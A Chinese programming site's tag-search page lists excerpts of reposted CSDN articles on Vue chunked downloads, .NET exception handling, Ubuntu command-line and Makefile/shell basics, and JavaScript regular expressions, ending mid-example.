前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[递归操作]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
... history命令递归地输出指定镜像的历史镜像。 参考: http://www.cnblogs.com/bethal/p/5942369.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/u010098331/article/details/53485539。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-26 15:47:20
538
转载
转载文章
...地根据行列索引访问和操作每一个方块。 连通图算法 , 在计算机科学中,连通图算法是指处理图论问题的一种方法,通常用于确定图中的节点(或对象)是否通过边(或关系)彼此相连形成一个连通分量。在这篇文章中,作者应用了一个递归实现的连通图算法——checkLinked函数,当玩家鼠标移入某个方块时,该算法会遍历与其颜色相同的相邻方块,检查并收集所有可以消除的连通方块,以便进行后续的计分和动画效果展示。 定时器(Timer) , 定时器是浏览器提供的JavaScript特性之一,允许开发人员设置一段代码在特定时间间隔后执行。在这篇文章描述的游戏开发过程中,定时器被用来实现选中方块的闪烁特效。通过设置一个定时器(例如timer变量),每经过一定的时间间隔(如300毫秒),就改变选中方块的样式属性,使其产生连续的视觉变化,从而达到闪烁的效果。 绝对定位(Absolute Positioning) , 在CSS布局中,绝对定位是一种定位模式,它允许开发人员为元素指定精确的坐标值来决定其在页面上的确切位置,而不是遵循正常的文档流。文章中创建的小方块采用的就是绝对定位方式,确保它们可以根据行列位置准确地放置于游戏画布上,无论其他元素如何变化,这些方块的位置始终保持不变。
2023-06-08 15:26:34
516
转载
转载文章
...true, //停止递归标签,默认是true 继续进行递归contentList: [], // 文件流数组breakpointResumeTags:false, //断点续传标签,默认是false 不进行断点续传temp:[],fileMap:new Map(),timer:null, //定时器名称},methods: {//根据关键字搜索商品信息searchKey(){var keyword=this.keyword;axios.get('/search/JD/search/'+keyword+"/1/10").then(res=>{this.results=res.data;//绑定数据console.log(this.results)console.table(this.results)})},//停止下载stop(){//改变递归标签为falsethis.stopRecursiveTags=false;},//开始下载start(){//重置递归标签为true 最后进行合并this.stopRecursiveTags=true;//重置断点续传标签this.breakpointResumeTags=true;//重新调用下载方法this.download();},// 分段下载需要后端配合download() {// 下载地址const url = "/down?fileName="+this.keyword.trim()+"&drive=E";console.log(url)const chunkSize = 1024 1024 50; // 单个分段大小,这里测试用100Mlet filesTotalSize = chunkSize; // 安装包总大小,默认100Mlet filesPages = 1; // 总共分几段下载//计算百分比之前先清空上次的if(this.percentage==100){this.percentage=0;}let sentAxios = (num) => {let rande = chunkSize;//判断是否开启了断点续传(断点续传没法并行-需要上次请求的结果作为参数)if (this.breakpointResumeTags){rande = ${Number(this.fileFinalOffset)+1}-${num chunkSize + 1};}else {if (num) {rande = ${(num - 1) chunkSize + 2}-${num chunkSize + 1};} else {// 第一次0-1方便获取总数,计算下载进度,每段下载字节范围区间rande = "0-1";} }let headers = {range: rande,};axios({method: "get",url: url.trim(),async: true,data: {},headers: headers,responseType: "blob"}).then((response) => {if (response.status == 200 || response.status == 206) {//检查了下才发现,后端对文件流做了一层封装,所以将content指向response.data即可const content = response.data;//截取文件总长度和最后偏移量let result= response.headers["content-range"].split("/");// 获取文件总大小,方便计算下载百分比filesTotalSize =result[1];//获取最后一片文件位置,用于断点续传this.fileFinalOffset=result[0].split("-")[1]// 计算总共页数,向上取整filesPages = Math.ceil(filesTotalSize / chunkSize);// 文件流数组this.contentList.push(content);// 递归获取文件数据(判断是否要继续递归)if (this.filesCurrentPage < filesPages&&this.stopRecursiveTags==true) {this.filesCurrentPage++;//计算下载百分比 当前下载的片数/总片数this.percentage=Number((this.contentList.length/filesPages)100).toFixed(2);sentAxios(this.filesCurrentPage);//结束递归return;}//递归标签为true 才进行下载if (this.stopRecursiveTags){// 文件名称const fileName =decodeURIComponent(response.headers["fname"]);//构造一个blob对象来处理数据const blob = new Blob(this.contentList);//对于<a>标签,只有 Firefox 和 Chrome(内核) 支持 download 属性//IE10以上支持blob但是依然不支持downloadif ("download" in document.createElement("a")) {//支持a标签download的浏览器const link = document.createElement("a"); //创建a标签link.download = fileName; //a标签添加属性link.style.display = "none";link.href = URL.createObjectURL(blob);document.body.appendChild(link);link.click(); //执行下载URL.revokeObjectURL(link.href); //释放urldocument.body.removeChild(link); //释放标签} else {//其他浏览器navigator.msSaveBlob(blob, fileName);} }} else {//调用暂停方法,记录当前下载位置console.log("下载失败")} }).catch(function (error) {console.log(error);});};// 第一次获取数据方便获取总数sentAxios(this.filesCurrentPage);this.$message({message: '文件开始下载!',type: 'success'});} }})</script></body></html> 本篇文章为转载内容。原文链接:https://blog.csdn.net/kangshihang1998/article/details/129407214。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-19 08:12:45
546
转载
转载文章
...是执行了一些非预期的操作,甚至可能用到了很多专业模式中才会初始化的类型实例(然而没有完成初始化),产生大量的额外异常;我们说程序雪崩了,多数功能再也无法正常使用了。 当然如果任务已全部完成,仅仅在对外通知的时候出现了异常,那么这个时候不需要恢复状态,因为实际上已经完成了任务。 你可能会有些担心如果我没有任何手段可以恢复错误怎么办?那这个时候就不要处理异常!——如果不知道如何恢复错误,请不要处理异常!让异常交给更上一层的模块处理,或者交给整个应用程序全局异常处理模块进行统一处理(这个后面会讲到)。 另外,异常不能用于在正常执行过程中更改程序的流程。异常只能用于报告和处理错误条件。 finally 块的作用是清理资源。 虽然 .NET 的垃圾回收机制可以在回收类型实例的时候帮助我们回收托管资源(例如 FileStream 类打开的文件),但那个时机不可控。因此我们需要在 finally 块中确保资源可被回收,这样当重新使用这个文件的时候能够立刻使用而不会被占用。 一段异常处理代码中可能没有 catch 块而有 finally 块,这个时候的重点是清理资源,通常也不知道如何正确处理这个错误。 一段异常处理代码中也可能 try 块留空,而只在 finally 里面写代码,这是为了“线程终止”安全考虑。在 .NET Core 中由于不支持线程终止因此可以不用这么写。详情可以参考:.NET/C 异常处理:写一个空的 try 块代码,而把重要代码写到 finally 中(Constrained Execution Regions) - walterlv。 该不该引发异常? 什么情况下该引发异常?答案是——这真的是一个异常情况! 于是,我们可能需要知道什么是“异常情况”。 一个可以参考的判断方法是——判断这件事发生的频率: 如果这件事并不常见,当它发生时确实代表发生了一个错误,那么这件事情就可以认为是异常。 如果这件事经常发生,代码中正常情况就应该处理这件事情,那么这件事情就不应该被认为是异常(而是正常流程的一部分)。 例如这些情况都应该认为是异常: 方法中某个参数不应该传入 null 时但传入了 null 这是开发者使用这个方法时没有遵循此方法的契约导致的,让开发者改变调用此方法的代码就可以完全避免这件事情发生 而下面这些情况则不应该认为是异常: 用户输入了一串字符,你需要将这串字符转换为数字 用户输入的内容本身就千奇百怪,出现非数字的输入再正常不过了,对非数字的处理本就应该成为正常流程的一部分 对于这些不应该认为是异常的情况,编写的代码就应该尽可能避免异常。 有两种方法来避免异常: 先判断再使用。 例如读取文件之前,先判断文件是否存在;例如读取文件流时先判断是否已到达文件末尾。 如果提前判断的成本过高,可采用 TryDo 模式来完成,例如字符串转数字中的 TryParse 方法,字典中的 TryGetValue 方法。 对极为常见的错误案例返回 null(或默认值),而不是引发异常。极其常见的错误案例可被视为常规控制流。通过在这些情况下返回 NULL(或默认值),可最大程度地减小对应用的性能产生的影响。(后面会专门说 null) 而当存在下列一种或多种情况时,应引发异常: 方法无法完成其定义的功能。 根据对象的状态,对某个对象进行不适当的调用。 请勿有意从自己的源代码中引发 System.Exception、System.SystemException、System.NullReferenceException 或 System.IndexOutOfRangeException。 该不该捕获异常? 在前面 try-catch-finally 小节中,我们提到了 catch 块中应该写哪些代码,那里其实已经说明了哪些情况下应该处理异常,哪些情况下不应该处理异常。一句总结性的话是——如果知道如何从错误中恢复,那么就捕获并处理异常,否则交给更上层的业务去捕获异常;如果所有层都不知道如何处理异常,就交给全局异常处理模块进行处理。 应用程序全局处理异常 对于 .NET 程序,无论是 .NET Framework 还是 .NET Core,都有下面这三个可以全局处理的异常。这三个都是事件,可以自行监听。 AppDomain.UnhandledException 应用程序域未处理的异常,任何线程中未处理掉的异常都会进入此事件中 当这里能够收到事件,意味着应用程序现在频临崩溃的边缘(从设计上讲,都到这里了,也再没有任何代码能够使得程序从错误中恢复了) 不过也可以配置 legacyUnhandledExceptionPolicy 防止后台线程抛出的异常让程序崩溃退出 建议在这个事件中记录崩溃日志,然后对应用程序进行最后的拯救恢复操作(例如保存用户的文档数据) AppDomain.FirstChanceException 应用程序域中的第一次机会异常 我们前面说过,一个异常被捕获时,其堆栈信息将包含从 throw 块到 catch 块之间的所有帧,而在第一次机会异常事件中,只是刚刚 throw 出来,还没有被任何 catch 块捕捉,因此在这个事件中堆栈信息永远只会包含一帧(不过可以稍微变通一下在第一次机会异常 FirstChanceException 中获取比较完整的异常堆栈) 注意第一次机会异常事件即便异常会被 catch 也会引发,因为它引发在 catch 之前 不要认为异常已经被 catch 就万事大吉可以无视这个事件了。前面我们说过异常仅在真的是异常的情况才应该引发,因此如果这个事件中引发了异常,通常也真的意味着发生了错误(差别只是我们能否从错误中恢复而已)。如果你经常在正常的操作中发现可以通过此事件监听到第一次机会异常,那么一定是应用程序或框架中的异常设计出了问题(可能把正常应该处理的流程当作了异常,可能内部实现代码错误,可能出现了使用错误),这种情况一定是要改代码修 Bug 的。而一些被认为是异常的情况下收到此事件则是正常的。 TaskScheduler.UnobservedTaskException 在使用 async / await 关键字编写异步代码的时候,如果一直有 await 传递,那么异常始终可以被处理到;但中间有异步任务没有 await 导致异常没有被传递的时候,就会引发此事件。 如果在此事件中监听到异常,通常意味着代码中出现了不正确的 async / await 的使用(要么应该修改实现避免异常,要么应该正确处理异常并从中恢复错误) 对于 GUI 应用程序,还可以监听 UI 线程上专属的全局异常: WPF:Application.DispatcherUnhandledException 或者 Dispatcher.UnhandledException Windows Forms:Application.ThreadException 关于这些全局异常的处理方式和示例代码,可以参阅博客: WPF UnhandledException - Iron 的博客 - CSDN博客 抛出哪些异常? 任何情况下都不应该抛出这些异常: 过于抽象,以至于无法表明其含义 Exception 这可是顶级基类,这都抛出来了,使用者再也无法正确地处理此异常了 SystemException 这是各种异常的基类,本身并没有明确的意义 ApplicationException 这是各种异常的基类,本身并没有明确的意义 由 CLR 引发的异常 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 .NET 设计失误 FormatException 因为当它抛出来时无法准确描述到底什么错了 首先是你自己不应该抛出这样的异常。其次,你如果在运行中捕获到了上面这些异常,那么代码一定是写得有问题。 如果是捕获到了上面 CLR 的异常,那么有两种可能: 你的代码编写错误(例如本该判空的代码没有判空,又如索引数组超出界限) 你使用到的别人写的代码编写错误(那你就需要找到它改正,或者如果开源就去开源社区中修复吧) 而一旦捕获到了上面其他种类的异常,那就找到抛这个异常的人,然后对它一帧狂扁即可。 其他的异常则是可以抛出的,只要你可以准确地表明错误原因。 另外,尽量不要考虑抛出聚合异常 AggregateException,而是优先使用 ExceptionDispatchInfo 抛出其内部异常。详见:使用 ExceptionDispatchInfo 捕捉并重新抛出异常 - walterlv。 异常的分类 在 该不该引发异常 小节中我们说到一个异常会被引发,是因为某个方法声称的任务没有成功完成(失败),而失败的原因有四种: 方法的使用者用错了(没有按照方法的契约使用) 方法的执行代码写错了 方法执行时所在的环境不符合预期 简单说来,就是:使用错误,实现错误、环境错误。 使用错误: ArgumentException 表示参数使用错了 ArgumentNullException 表示参数不应该传入 null ArgumentOutOfRangeException 表示参数中的序号超出了范围 InvalidEnumArgumentException 表示参数中的枚举值不正确 InvalidOperationException 表示当前状态下不允许进行此操作(也就是说存在着允许进行此操作的另一种状态) ObjectDisposedException 表示对象已经 Dispose 过了,不能再使用了 NotSupportedException 表示不支持进行此操作(这是在说不要再试图对这种类型的对象调用此方法了,不支持) PlatformNotSupportedException 表示在此平台下不支持(如果程序跨平台的话) NotImplementedException 表示此功能尚在开发中,暂时请勿使用 实现错误: 前面由 CLR 抛出的异常代码主要都是实现错误 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 环境错误: IOException 下的各种子类 Win32Exception 下的各种子类 …… 另外,还剩下一些不应该抛出的异常,例如过于抽象的异常和已经过时的异常,这在前面一小结中有说明。 其他 一些常见异常的原因和解决方法 在平时的开发当中,你可能会遇到这样一些异常,它不像是自己代码中抛出的那些常见的异常,但也不包含我们自己的异常堆栈。 这里介绍一些常见这些异常的原因和解决办法。 AccessViolationException 当出现此异常时,说明非托管内存中发生了错误。如果要解决问题,需要从非托管代码中着手调查。 这个异常是访问了不允许的内存时引发的。在原因上会类似于托管中的 NullReferenceException。 参考资料 Handling and throwing exceptions in .NET - Microsoft Docs Exceptions and Exception Handling - C Programming Guide - Microsoft Docs 我的博客会首发于 https://blog.walterlv.com/,而 CSDN 会从其中精选发布,但是一旦发布了就很少更新。 如果在博客看到有任何不懂的内容,欢迎交流。我搭建了 dotnet 职业技术学院 欢迎大家加入。 本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。欢迎转载、使用、重新发布,但务必保留文章署名吕毅(包含链接:https://walterlv.blog.csdn.net/),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。如有任何疑问,请与我联系。 本篇文章为转载内容。原文链接:https://blog.csdn.net/WPwalter/article/details/94610764。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-13 13:38:26
59
转载
转载文章
...zip -r 目录:递归,将该目录里的各个文件压缩,不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名,压缩成 文件名.bz2 bzip2 -d 文件名.bz2,解压缩成 文件名 bzip2不能压缩/解压缩 目录 – 打包工具 tar 常用参数 -f:使用归档文件(必须要在所有选项后面) -c:创建一个新归档 -x:从归档中解出文件 -j:使用bzip2压缩格式 -z:使用gzip压缩格式 -v:打印出命令执行过程 如以bzip2格式压缩,打包 tar -vcjf 目录名.tar.bz2 目录名 如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar(用dhcp连不上阿里云的镜像) rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具 压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os,不同的用户有不同的权限,可以查看和操作不同的文件 有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内,不是以明文记录的 每个用户都有一个id,叫做UID – linux用户组 为了方便管理,将用户进行分组,每个用户可以属于多个组 可以设置非本组人员不能访问一些文件 用户和用户组的存在就是为了控制文件的访问权限的 每个用户组都有一个ID,叫做GID 用户组信息存储在/etc/group中 passwd 用户名:修改该用户的密码 – ubuntu文件权限 ls -al 文件名 如以b开头: -brwx - rwx - rwx -:b表示 块文件,设备文件里面可供存储的周边设备 以d开头是目录 以b是块设备文件 以-开头是普通文件 以 l 开头表示软连接文件 以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -:用户权限,用户组内其他成员,其它组用户 数字 1 表示链接数,包括软链接和硬链接 第三列 jl 表示文件的拥有者 第四列 jl 表示文件的用户组 第五列 3517 表示这个文件的大小,单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间 最后一列是文件名 – 修改文件权限命令 chmod 777 文件名 修改文件所属用户 sudo chown root 文件 修改文件用户组 sudo chown .root 文件 同时修改文件用户和用户组 sudo chown jl.jl 文件 修改目录的用户/用户组 sudo chown -r jl.jl 目录( root.root ) – linux连接文件 1、硬连接 2、符号连接(软连接) linux有两种连接文件,软连接/符号连接,硬连接 符号连接类似于windows下面的快捷方式 硬连接通过文件系统的inode连接来产生新文件名,而不是产生新文件 inode:记录文件属性,一个文件对应一个inode, inode相当于文件ID 查找文件要先找到inode,然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件 目标文件 不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件,如果目标存在,就先删掉目标文件,再创建连接文件 – 硬连接:多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件,创建硬连接相当于文件实体多了入口 只有删除了源文件、和它所有的硬连接文件,晚间实体才会被删除 可以给文件创建硬连接来防止文件误删除 改了源文件还是硬连接文件,另一个文件的数据都会被改变 硬连接不能跨文件系统(另一个格式的u盘中的文件) 硬连接不能连接到目录 出于以上原因,硬连接不常用 ls -li:此时第一列显示的就是每个文件的inode – 软连接/符号连接 类似windows下面的快捷方式 使用较多 软连接相当于串联里一个独立的文件,该文件会让数据读取指向它连接的文件 ln -s 源文件 目标文件 特点: 可以连接到目录 可以跨文件系统 删除源文件,软连接文件也打不开了 软连接文件通过 “ -> ” 来指示具体的连接文件(ls -l) 创建软连接的时候,源文件一定要使用绝对路径给出,(硬连接无此要求) 软连接文件直接用cp复制到别的目录下,软连接文件就会变成实体文件,就算你把源文件删掉,该文件还是有效 正确的复制、移动软连接的用法是:cp -d 如果不用绝对路径,cp -d 软连接文件到别的目录,该软连接文件就会变红,失效 如果用了绝对路径,cp -d 软连接文件到别的目录,该软连接文件还是有效的,还是软连接文件 不用绝对路径,一拷贝就会出问题 – 软连接一个目录,也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式: 1、一般模式:默认模式,用vim打开一个文件就自动进入这个模式 2、编辑模式:按 i,a等进入,按esc回到一般模式 3、命令行/底行模式:在一般模式下输入:/ ?可进入命令行模式 ,按esc回到一般模式 一般模式下,dd删除光标所在的一整行; ndd,删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格:在/etc/vim/vimrc里面添加:set ts=4 设置vim中显示行号:在上面那个文件里添加:set nu – vscode是编辑器 gcc能编译汇编,c,cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序,而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器,又叫做交叉编译器(在一种架构的电脑上编译成另一种架构的代码) gcc -c 源文件:只编译不链接,编译成.o文件 -o 输出文件名( 默认名是 .out ) -O 对程序进行优化编译,这样产生的可执行文件执行效率更高 -O2:比-O幅度更大的优化,但编译速度会很慢 -v:显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 : $ ( 变量名 ) – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ,那么shell’命令本身就不会被打印 – 赋值符:= 变量的有效值取决于他最后一次被赋值的值 : = 赋值时右边的值只是用前面已经定义好的,不会使用后面的 ?= 如果左边的前面没有被赋值,那么在这里赋值,佛则就用前面的赋值 + = 左边前面已经复制了一些字串,在这里添加右边的内容,用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符,只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS:用于优化参数,指定库文件的位置 LIBS:告诉链接器要链接哪些库文件 VPATH:特殊变量,指定源文件的位置,冒号隔开,按序查找源文件 vpath:关键字,三种模式,指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候,表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件,如果依赖文件是以 % 定义的,那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合,以空格分开 $ ^ 所有依赖文件的集合,用空格分开,如果有重复的依赖文件,只保留一次 $ + 和 $ ^ 类似,但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c,目标模式是 a.%.c,那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件,只是执行它下面的命令 如果被错认为是文件,由于伪目标一般没有依赖,那么目标就被认为是最新的,那么它下面的命令就不会执行 。 如果目录下有同名文件,伪目标错认为是该文件,由于没有依赖,伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件,伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组,循环,条件判断等功能 开头必须是:!/bin/bash 表示使用bash 脚本的扩展名:.sh – 交互式shell 有输入有输出 输入:read 第三行 name在这里作为变量,read输入这个变量 下一行使用这个变量直接是 $name,不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) ),注意要两个括号 – test 测试命令 文件状态查询,字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确,那么cmd2也执行 当cmd2执行完并且错误,那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确,那么cmd2不执行 当cmd2执行完并且错误,那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格,如果不加空格,test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 != 四个箭头所指必须用空格隔开 而且如果变量是字符串的话,一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号(1,2,3,4…) $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”,否则就不是通配符的意思,而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环,使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值;限制值;执行步长)) do //循环代码段 done – 红点处必须要加空格!! loop 环 – – 注意变量有的地方用了 $ ,有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接:https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 17:18:30
79
转载
转载文章
...的属性可以使用短名来操作。RegExp.input 可以改写成 RegExp['$_'],依次类推。但 RegExp.input 比较特殊,它还可以写成 RegExp.$_。 RegExp 对象的实例属性 属性 含义 global Boolean 值,表示 g 是否已设置 ignoreCase Boolean 值,表示 i 是否已设置 lastIndex 整数,代表下次匹配将从哪里字符位置开始 multiline Boolean 值,表示 m 是否已设置 Source 正则表达式的源字符串形式 // 使用实例属性var pattern = /google/ig;alert(pattern.global); // true,是否全局了alert(pattern.ignoreCase); // true,是否忽略大小写alert(pattern.multiline); // false,是否支持换行alert(pattern.lastIndex); // 0,下次的匹配位置alert(pattern.source); // google,正则表达式的源字符串var pattern = /google/g;var str = 'google google google';pattern.test(str); // google,匹配第一次alert(pattern.lastIndex); // 6,第二次匹配的位 以上基本没什么用。并且 lastIndex 在获取下次匹配位置上 IE 和其他浏览器有偏差 ,主要表现在非全局匹配上。lastIndex 还支持手动设置,直接赋值操作。 获取控制 正则表达式元字符是包含特殊含义的字符。它们有一些特殊功能,可以控制匹配模式的方式。反斜杠后的元字符将失去其特殊含义。 字符类:单个字符和数字 元字符/元符号 匹配情况 . 匹配除换行符外的任意字符 [a-z0-9] 匹配括号中的字符集中的任意字符 [^a-z0-9] 匹配任意不在括号中的字符集中的字符 \d 匹配数字 \D 匹配非数字,同[^0-9]相同 \w 匹配字母和数字及_ \W 匹配非字母和数字及_ 字符类:空白字符 元字符/元符号 匹配情况 \0 匹配 null 字符 \b 匹配空格字符 \f 匹配进纸字符 \n 匹配换行符 \r 匹配回车字符 \t 匹配制表符 \s 匹配空白字符、空格、制表符和换行符 \S 匹配非空白字符 字符类:锚字符 元字符/元符号 匹配情况 ^ 行首匹配 $ 行尾匹配 \A 只有匹配字符串开始处 \b 匹配单词边界,词在[]内时无效 \B 匹配非单词边界 \G 匹配当前搜索的开始位置 \Z 匹配字符串结束处或行尾 \z 只匹配字符串结束处 字符类:重复字符 元字符/元符号 匹配情况 x? 匹配 0 个或 1 个 x x 匹配 0 个或任意多个 x x+ 匹配至少一个 x (xyz)+ 匹配至少一个(xyz) x{m,n} 匹配最少 m 个、最多 n 个 x 字符类:替代字符 元字符/元符号 匹配情况 this where 字符类:记录字符 元字符/元符号 匹配情况 (string) 用于反向引用的分组 \1 或$1 匹配第一个分组中的内容 \2 或$2 匹配第二个分组中的内容 \3 或$3 匹配第三个分组中的内容 // 使用点元字符var pattern = /g..gle/; // .匹配一个任意字符var str = 'google';alert(pattern.test(str));// 重复匹配var pattern = /g.gle/; // .匹配 0 个一个或多个var str = 'google'; //,?,+,{n,m}alert(pattern.test(str));// 使用字符类匹配var pattern = /g[a-zA-Z_]gle/; // [a-z]表示任意个 a-z 中的字符var str = 'google';alert(pattern.test(str));var pattern = /g[^0-9]gle/; // [^0-9]表示任意个非 0-9 的字符var str = 'google';alert(pattern.test(str));var pattern = /[a-z][A-Z]+/; // [A-Z]+表示 A-Z 一次或多次var str = 'gOOGLE';alert(pattern.test(str));// 使用元符号匹配var pattern = /g\wgle/; // \w匹配任意多个所有字母数字_var str = 'google';alert(pattern.test(str));var pattern = /google\d/; // \d匹配任意多个数字var str = 'google444';alert(pattern.test(str));var pattern = /\D{7,}/; // \D{7,}匹配至少 7 个非数字var str = 'google8';alert(pattern.test(str));// 使用锚元字符匹配var pattern = /^google$/; // ^从开头匹配,$从结尾开始匹配var str = 'google';alert(pattern.test(str));var pattern = /goo\sgle/; // \s 可以匹配到空格var str = 'goo gle';alert(pattern.test(str));var pattern = /google\b/; // \b 可以匹配是否到了边界var str = 'google';alert(pattern.test(str));// 使用或模式匹配var pattern = /google|baidu|bing/; // 匹配三种其中一种字符串var str = 'google';alert(pattern.test(str));// 使用分组模式匹配var pattern = /(google){4,8}/; // 匹配分组里的字符串 4-8 次var str = 'googlegoogle';alert(pattern.test(str));var pattern = /8(.)8/; // 获取 8..8 之间的任意字符var str = 'This is 8google8';str.match(pattern);alert(RegExp.$1); // 得到第一个分组里的字符串内容var pattern = /8(.)8/;var str = 'This is 8google8';var result = str.replace(pattern,'<strong>$1</strong>'); // 得到替换的字符串输出document.write(result);var pattern = /(.)\s(.)/;var str = 'google baidu';var result = str.replace(pattern, '$2 $1'); // 将两个分组的值替换输出document.write(result); 贪婪 惰性 + +? ? ?? ? {n} {n}? {n,} {n,}? {n,m} {n,m}? // 关于贪婪和惰性var pattern = /[a-z]+?/; // ?号关闭了贪婪匹配,只替换了第一个var str = 'abcdefjhijklmnopqrstuvwxyz';var result = str.replace(pattern, 